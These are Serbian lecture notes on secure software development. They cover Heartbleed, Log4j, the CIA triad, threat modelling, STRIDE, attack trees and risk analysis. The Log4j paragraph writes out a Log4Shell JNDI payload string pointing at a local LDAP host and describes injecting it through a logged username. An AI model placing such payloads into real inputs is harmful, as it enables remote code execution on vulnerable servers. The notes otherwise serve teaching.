rb_predavanja.

md 2024-01-17

RBS
Heartbleed problem: Nastao 2012 godine i uklonjen 2014 godine. Deo protokola za heartbeat na TLS-u je
imao memcpy(bp, pl, payload) i on kopira payload bajtova iz pl u bp. Medjutim, ako je payload veci od
duzine pl, onda se desi napad poznat kao Buffer over-read, procita vise nego sto treba i ukrade lozinke
i podatke o kreditnim karticama!!1!

Log4j problem: Milioni ukrozenih korisnika zbog remove code execution. To je alat za logovanje u Javi, i ima
ekspanziju promenjivih sa ${<lookup>}. Takodje, java ima JNDI koji dozvoljava da se kod neke klase
dohvati sa servera i izvrsi direktno na okruzenje.(prilicno secure). Jednostavan napad tako sto posaljes
${jndi:ldap://127.0.0.1:1389/#Exploit}. Na primer u username koji se loguje pri logovanju
uneses kod gore i izvrsis virus.

Osnovni Pojmovi
Tajnost - Zastita informacija od neautorizovanog pristupa.

Treba da se vidi sta treba da bude tajno, koje su posledice otkrivanja informacija, kakve sigurnosne kontrole
mogu postojati i kako se mogu zaobici. Na nivou softvera, tajnost se ostvaruje koriscenjem kritpografije i
kontrole pristupa.

Integritet - Zastita of neautorizovanih modifikacija

Ukljucuje zastitiu informacija i sistema od neautorizovanih modifikacija ili unistenja, kao i neporecivost i
autenticnost. Sta zahteva integritet, koje su posledice neautorizovane izmene, koje sigurnosne kontrole
postoje i kako ih zaobici. Postize se kriptografijom, kontrolom pristupa i pravljenje kopija.

Dostupnost - Obezbedjivanje mogucnosti pristupa podacima na vreme

Na nivou softvera, dostupnost se ostvaruje testiranjem performansi, dizajnom visoke dostupnosti i

mehanizmima za odbranu od DDoS.

Sistem

Sistem je kombinacija elemenata koji medjusobno interaguju, organizovanih da ostvare jedan ili vise
iskazanih ciljeva. Elementi mogu biti hardver, softver, podaci, ljudi.

Terminologija Pretnji
Subjekat: Individua, proces ili uredjaj koi izaziva protok informacija izmedju objekata u sistemu. To su:

Osoba koja pristupa podacima ili funkcijama softvera

Program koji obradjuje podatke
Spoljni servis koji komunicira sa posmatranim sistemom

Vrednost: Objekat od znacaja za sistem i treba ga zastiti. To su:

Broj racuna u banci

Poslovne tajne
/
rb_predavanja.md 2024-01-17

Javni servis

Napadac: Maliciozni subjekti koji zele da naskode sistemu ili njegovim vrednostima. Klasifikacija na osnovu
motivacije, sposovnosti i prilike.

Pretnja: Dogadjaj koji ima negativan efekat na sistem ili njegove vrednosti, koji je izazvao napadac. To moze
biti:

Kradja sadrzaja baze podataka

Kradju tokena sesije korisnika
Neautorizovanu promenu konfiguracije servera
Prestanak rada softvera

Ranjivost: Osobina sistema ili njegovih komponenti koja moze biti iskoriscena da se ostvari pretnja. Moze
ukljucivati:

Upotrebu zastarelih i slabih kriptografskih algoritama

Lose konfigurisane servere sa nedovoljnom kontrolom pristupa
Nedostatak validacije unosa za nepouzdane podatke

Napad: Akcija eksploatisanja jedne ili vise ranjivosti kroz vektor napada kako bi se ostvarila pretnja

Protivmera: signorsna kontrol akoja ublazava jednu ili vise ranjivosti ili sprecava napad.

Uticaj: Ostvarene pretnje meri negativan efekat ostvarene pretnje po sistem. Verovatnoca: Verovatnoca da
se pretnja dogodi se odredjuje posmatranjem ranjivosti sistema Rizik: U najjednostavnijoj varijanti rizik se
odredjuje kao proizvod uticaja i verovatnoce pretnje.

Drugi slajd procitati ceo, na engleski je

Sigurnosni zahtevi
Poslovni zahtevi
Poslovni zahtevi se odnose na poslovne ciljeve i definisu okvir potrebe ili problema koji treba resiti kroz
konkretnu aktivnost ili projekat.

Sofverski zahtevi
Softverski zahtevi treba da ustanove korake specificne za softver koji su potrebni kako bi se ispunili poslovni
zahtevi.

Prikupljanje zahteva
Softverski zahtev predstavlja funkcionalnost softvera koja je potrebna korisniku da resi neki problem ili da
ispuni neki cilj. Smisljanje zahteva predstavlja proces definisanja korisnickog ocekivanja prilikom razvoja
novog softvera ili modifikovanja postojeceg. Veliki izazov za softverske inzenjere je da usaglase svoju vizicju
proizvoda koji razvijaju sa vizijom korisnika - sve zainteresovane strane u projektu moraju imati zajednicko

/
rb_predavanja.md 2024-01-17

vidjenje sta ce finalni proizvod predstavljati.Da bi resili ovaj izazov potrevni su nacini da se precizno
zabeleze, razumeju i predstave potrebe korisnika prilikom definisanja specifikacije softverskog proizvoda.

Ima nesto sto se zove SMART. Potrebno je da zahtevi budu konkretni(Specific), precizno definisani i sa
dovoljno detalja. Zahtevi treba da budu merljivi(Measurable), dosticni(Attainable) i razumni(Reasonable).
Potrebno je da je zahteve moguce pratiti kroz proces razvoja(Traceable).

1. Konstrusianje zahteva

Korisnik uglavnom ne poseduje dovoljno znanja da bi definisao konkretan sigurnosni zahtev za softver.
Korisnik ce umeti da iskaze da zeli da se funkcija X izvrsi kad pritisne dugme. On nece reci da mora biti
otporna na neki command injeciton attack. Uglavnom korisnik ume da iskaze da zeli sigurnu
aplikaciju.

2. Analiza sigurnosnih zahteva

Analiza sigurnosnih zahteva podrazume dekomponovanje poslovnih sigurnosnih zahteva u odluke prilikom
dizajniranja ili implementacione zadatke prilikom razvoja proizvoda. Potrebno je utvrditi sta i kako to
uraditi. A sigurnosne zahteve gledamo iz dve pespektive:

1. Granularnost sigurnosnih zahteva - Visok nivo apstrakcije(na osnovu CIA i AAA). I na nizak nivo
apstrakcije - Vezan za konkretan kod u programu, konfiguraciju itd.
2. Izvor sigurnosnih zahteva - Eksplicitni sigurnosni zahtevi, povezani sa zvanicnim regulativama i mogu
biti visokog ili niskog nivoa apstrakcije. Obicno je ovavke zahteve jednostavnije identifikovati,
implementirati, testirati i pratiti. Kvalitativni sigurnosni zahtevi, izvedeni na osnovu posmatranja
sistema iz perspektive napadaca, granularnost zavisi od cilja analize i identifikacija i analiza ovakvih
zahteva se u velikoj meri oslanja na strucnost i sigurnost analiticara.

Eksplicitini sigurnosni zahtevi su standard.(pogledaj primer na 3. prez, 12-18 slajd) Kvalitativni sigurnosni
zahtevi - definisu se kroz modelovanje pretnji - Sta napadac zeli da postigne, kako, kako sistem moze da se
suprotstavi. Modelovanje je za bilo koji sistem i bilo koji nivo granularnosti.

Modelovanje pretnji
Koraci su slicni za sve:

1. Identifikacija kriticnih resursa

2. Definisanje sigurnosnih ciljeva za svaki resurs
3. Identifikovanje i dekomponovanje pretnji za svaki sigurnosni cilj
4. Identifikovanje i analiza rizika
5. Definisanje sigurnosnih zahteva za izbegavanje pretnji

Primer: Slucajevi koriscenja

Slucajevi koriscenja(use cases) predstavljaju nacin za smisljanje, predstavljanje, preciziranje i

dokumentovanje softverskih zahteva. A i klijenti srecniji kad ima slike(to pise stvarno).

Slucaj zloupotrebe

/
rb_predavanja.md 2024-01-17

Slucaj zloupotrebe (misuse case) predstavlja sekvencu akcija koje sistem ili drugi entitet moze da izvrsi u
interakciji sa napadacem i na taj nacin proizvede stetu zainteresovanim stranama ukoliko je sekvenca
uspecna

Slucajevi koriscenja i zloupotrebe koriste relacije da bi prosirili ili generalizovali slucaj. Moguce je dodati
izbegavanje u slucaju upotrebe kako bi smanjili sansu za uspeh slucaja zloupotrebe

Abuser stories
Predstavljaju isto sto i korisnicke price(user story u ticketima, featuri) za slucajeve koriscenja. Napadacke
price su kratki opisi zahteva na koji nacin napadac moze da zloupotrebi sistem - izrazavaju sigurnosne
zahteve sistema.

Napadacka stabla
Sluze da ilustruju kako napadac dolazi do nekih resursa, kako moze sistem biti napadanut ali i kako
sigurnosne kontramere mogu biti zaobidjene. Koren stabla je pretnja koja se istrazuje, roditeljski cvorovi se
mogu dekomponovati u vise cvorova koji predstavljaju napade ili pretnje koji mogu biti u logickim I ili ILI
relacijama. Pretnja je ostvarena ako se dese sve pretnje u deci I cvora ili barem jedna u ILI cvoru. (slajd 28
prez 3 je primer).

Mogu se prosiriti i oznaciti time da je napad izvan opsega(out of scope). Listovi stabla obicno sadrze cvorove
izvan opsega, kontramere ili da nije izbegnut napad. (slajd 30 prez 3 je primer)

Smisljanje sigurnosnih zahteva

Najcesce rukovodstvo kompanije koja razvija softver definise sigurnosne zahteve na visokom nivou
apstrakcije. Softverski inzenjer ima zadatak da razume sigurnosne zahteve na visokom nivou apstrakcije i
prevede ih u implementacione odluke i zadatke na niskom nivou apstrakcije.

Razvoj bezbednog softvera

Софтверски пројектни узорак (software design pattern) је генерално, реупотребљиво решење
проблема који се често јавља у одређеном контексту приликом дизајнирања софтвера

Bezbednosni uzorak opisuje resenje za problem kontrolisanja skupa specificnih pretnji kroz neki sigurnosni
mehanizam definisan u odredjenom kontekstu. Pomazu inzenjerima koji nisu eksperti u sigurnosti da
obezbede siguran softver. Mogu biti arhitekturalni uzorci koji opisuju globalne arhitekturalne koncepte,
mogu biti projektni uzorci koji opisuju strukture na nivou koda aplikacije i mogu biti oba.

Dele se u

Tajnost
Integritet
Dostupnost
Autentikacija
Autorizacija
Odgovornost

/
rb_predavanja.md 2024-01-17

Tajnost
Dva ucesnika moraju komunicirati bez da je moguce presretnuti i procitati njihovu poruku. Resenje je
sifrovanje

Simetricno
Asimetricno
Hibridno - simetricnim kljucem sifrovati poruku, zatim sifrovati kljuc asimetricnim kljucem. Ovo je
brze nego samo asimetricno.

Jedan od primera propusta je upravo Heartbleed problem koji je opisan na pocetku. Drugi je
CRIME(Compression Ratio Info-leak Made Easy) gde napadac na osnovu TLS kompresije i duzine poruke
moze nekako da procita(??).

Nije dovoljna samo tajnost, kao sto vidimo moramo konstantno biti u koraku sa promenama, izbeci lose
konfiguracije i koristiti dobre prakse, izbeci propuste u dizajnu itd.

Integritet
Dva ucesnika moraju komunicirati bez da je moguce presretnuti i izmeniti poruku koja je poslata. U
suprotnom se narusava integritet. Resenje je :

1. Hesirati poruke nekom funkcijom - bitno da je deterministicki, brzo se racuna, nemoguce

rekonstruisati poruku iz hesa, mala promena menja mnogo hesa i nije zamislivo naci dve poruke sa
istim hesom.
2. MAC Funkcije - Slicno kao hesiranje poruke, dodatni ulazni parametar je simetricni kljuc. Koriste se i
za autentikaciju porekla poruke.
3. Digitalni potpisi - Kao mac ali sa asimetricni kljucevi. Pored integriteta i porekla, stiti i neporecivost.

Kod integriteta je bitno i validirati unos i izbeci stvari kao sto je SQL Injection.

Dostupnost
Opterecenje u razvoju je delic onoga sto je u produkciji. Takodje, moze se desiti odbijanje usluge(Denial Of
Service) ukoliko nema dovoljno resursa. Na primer moze i DDoS.

Zasniva se na nalazenju uskih grla u sistemu. Redudantne instalacije sistema povecavaju dostupnost.
Firewall stiti od napada.

Autentikacija
Mora se imati kontrola ko kakav pristup ima do aplikacije. Autentikacija je proces dokazivanja tacnosti
tvrdnje kao sto je identitet korisnika. Jedan nacin ogranciti se od ovoga je pomocu uloga - svaka uloga ima N
stvari koje moze u raditi i to je to. RBAS nudi centralizovan nacin administracije. ACL resava problem
distribucije prava pristupa jer RBAS ne podrzava mnogo prava(matrica pristupa bi bila velika), ali ACL
otezava upravljanje dok povecava efikasnost.

Single Access Point. Primer bezbednog uzorka. Nesto nalik fasadi.

Mehanizam logovanja
/
rb_predavanja.md 2024-01-17

Pratiti sva desavanja u sistemu, mora biti efikasno, stalno dostupno i istinito.

Modelovanje pretnji
Kanalisanje sigurnosnih napora zavisi koliku zastitu hocemo. Nemoguce je imati 100% zastitu, koliko god
novca imamo. Poenta je videti koja je razumna sigurnost softvera. Zbog toga se modeluju pretnje.

Modelovanje pretnji je proces analiz emodula kako bi se ustavio trenutni i zeljeni status po pitanju
bezbednosti. Odgovara na pitanja opsega, napadaca, pretnji, kontramera i konacno retrospektivu svega.

Moze se obaviti na visokom ili niskom nivou apstrakcije. Uobicajen pristup je bezbednosna analiza sistema
koja istrazuje arhitekturu i dizajn sistema, identifikuje primenjive bezbednosne projektne uzorke i
identifikuje komponente koje zahtevaju dodatnu investiciju u sigurnost.

Bezbednosna analiza sistema kao ulaz uzima sigurnosne zahteve na visokom nivou apstrakcije i arhitekturu
i dizajn sistema, a kao rezultat definise pretnje koje nisu otklonjene i predlozene mere otklanjanja.
Uobicajeno:

Dekomponovanje modula koriscenjem analize toka podataka

Analizu pretnji, ukljucujuci otkrivanje napada i planiranje izbegavanja napada
Analizu rizika, ukljucuje prioritiranje identifikovanih investicija vezanih za bezbednost

Dekomponovanje modula

Cilj ovog koraka je da se razume analizirani modul, ukljucujuci bilo koje osetljive resurse, interni tok
podataka i interfejse ka eksternim entitetima. Ulazi su zahtevi modula, opisi dizajna a izlazi su lista objekata,
ulazna tacka modula(moguci pravac napada), dijagrami toka podataka i delimicna lista eksternih zavinosti i
pretpostavki o sirem okruzenju modula.

Analiza toka podataka - lista objekata

Nesto sto napadac zeli da osteti ili organizacija zeli da zastiti. Npr set poslovnih podataka, set tehnickih
podataka, delovi sistema. Lista svih objekata, posebno u ranoj fazi, moze biti teska i vremenski zahtevna.
pPomazu u smisljanju mapiranja toka podataka i pomazu analizi rizika.

Analiza toka podataka - ulazne tacke

Interfejs modula ka eksternim entitetima. Potpuni skup ulaznih tacaka modula predstavlja njegov pravac
napada, gde mora psotojati granica poverenja izmedju modula i svih eksternih entiteta. Primer ulazne tacke
- javno dostupni api, korisnicki interfejsi, fajlovi koje modul korisiti ali kojima upravlja eksterni entitet, drugi
moduli itd.

Analiza toka podataka - Elementi

Dijagrama toka podataka ilustruju gde podaci ulaze, napustaju i prolaze unutar modula. Gde i na koji nacin
se podaci obradjuju, gde se podaci skladiste. Takodje, ilustruju i eksterne entitete sa kojima modul
interaguje, koje granice poverenja dijagrami toka prelaze i koji kompleksni procesi postoje u okviru modula.
Dobre prakse su pre analize pretnji potrebno je pazljivo prouciti elemente dijagrama toka podataka, jer
nedostajuci elementi na dijagramu mogu dovesti do propustene pretnje. Poceti od kontekstnog dijagrama

/
rb_predavanja.md 2024-01-17

koji predstavlja posmatrani modul kao jedinstveni kompleksni proces i definisati eksterne etitete sa kojima
interaguje. Proizvesti dijagram prvog nivoa dekomponovanjem kompleksnog procesa. Ako se dijagram
prvog nivoa sastoji od kompleksnih procesa, proizvesti dijagram drugog nivoa za svaki takav proces.
Dijagrami treceg nivoa su retki i cesto predstavljaju znak suvise detaljne analize.

Analiza toka podataka - Ektsterne zavinsnosti i pretpostavke

Lista eksternih zavisnosti sadrzi softverske i hardverske komponente koje koristi modul, a koje moguce biti
mapirane na elemente dijagrama toka podataka.

Analiza pretnji
Cilj ovog koraka je da se identifikuju pretnje po modul koji se analizira, kako se one mogu ostvariti kroz
napade i kako napadi mogu biti spreceni.

Ulazi su dijagrami toka podataka sa naznacenim pravcima napada, lista objekata sa pripadajucim
sigurnosnim zahtevima, eksterne zavisnosti i pretpostavke. Izlazi su lista pretnji, skup napada kojima se
realizuje svaka pretnja, postojece kontramere za izbegavanje identifikovanih napada i predlozene mere za
izbegavanje mogucih napada.

Analiza pretnji - Identifikacija

Identifikovanje pretnji moze se postici

Fokus na napadaca (Attack-centric) - pretnja je cilj napadaca

Fokus na objekat (Asset-centric) - pretnja je gubitak sigurnosne osobine objekta(npr CIA)
Fokus na softver (Software-centric) - pretnje su izvedene na osnovu dizajna sistema

Pogodna je za softverske inzenjere i cesto potpomognuta nekom klasifikacijskom metodologijom kao npr
STRIDE.

STRIDE

Spoofing the identity - sakrivanje identiteta. Napadac se lazno predstavlja korisniku, servisu, masini
itd. Pretnja autentikacije
Tampering - izmena. Pretnja integritetu. Vrsi se neautorizovana izmena podataka.
Repudiation - poricanje. Pretnja neporecivosti. Napadac osporava dogadjaj i akcije ili tvrdi da su se
dogodile kad nisu.
Information disclosure - otkrivanje informacija. Napadac sprovodi neautorizovani pristup podacima.
Pretnja tajnosti.
Denial of service - odbijanje usluga. Pretnja dostupnosti.
Elevation of privilege - podizanje privilegija. Pretnja na autorizaciju.

Za svaki element se generise na osnovu tabele za STRIDE sta se moz desi. Stride je smernica a ne generator
pretnji, treba se fokusirati na granice poverenja ali drzati se odbrane u dubinu.

Dekomponovanje pretnji

Kada su genericke pretnje identifikovane, vreme je obaviti dekomponovanje pretnji kako bi se identifikovale
specificne vrste napada koje mogu da ostvare ove pretnje. slucajevi upotrebe i stavla napada se mogu

/
rb_predavanja.md 2024-01-17

koristiti kao pomoc. Strucnjaci mogu naci i sekundarne napade koji zaobilaze uspostavljene kontramere.
Primarni cilj je pravljenje liste mogucih napada i preporuka kako da se izbegnu.

Dobre prakse u analizi pretnje su - izbeci eksploziju pretnji grupisanjem za slicne elemnte dijagrama, treba
naci nacin da se efikasno sprovede analiza pretnji za sopstveni kontekst, istraziti i biti u toku sa aktuelnim
alatima i katalozima napada.

Analiza rizika
Cilj je na efiksana nacin kanalisati investicije vezane za bezbednost. Ulazi su lista pretnji, neizbegnutih
napada i predlozenih kontramera kao i lista ugrozenih objekata sa pridruzenim sigurnosnim zahtevima.
Izlazi su sortirana lista rizika sa strategijom za baratanje sa svakim rizikom kao i Prioritizirana lista akcija za
izbegavanje i radnih zadataka vezanih za bezbednost.

Uticaj realizovane pretnje meri negativan efekat po sistem

Verovatnoca se utvrdjuje posmatranjem ranjivosti sistema i procenom mogucnosti napadaca koji bi
zeleli da ostvare pretnju
Rizik - najednostavnije se izracunava mnozenjem uticaja i verovatnoce konkretnje pretnje.

Strategije za izbegavanje rizika

Smanjivanjem, moze se promeniti dizajn modula, mogu se dodati novi radni zadaci, mogu se kupiti dodatni
alati. Uklanjanjem, izbacivanjem modula koji uvodi rizik. Prenosom angazovanjem trece strane da se
izbegne pretnja ili informisanjem klijenata da je njegova obaveza da se pozabavi prentjom. Prihvatanjem,
obicno kada bi umanjivanje rizika kostalo vise steta koju unosi u modul.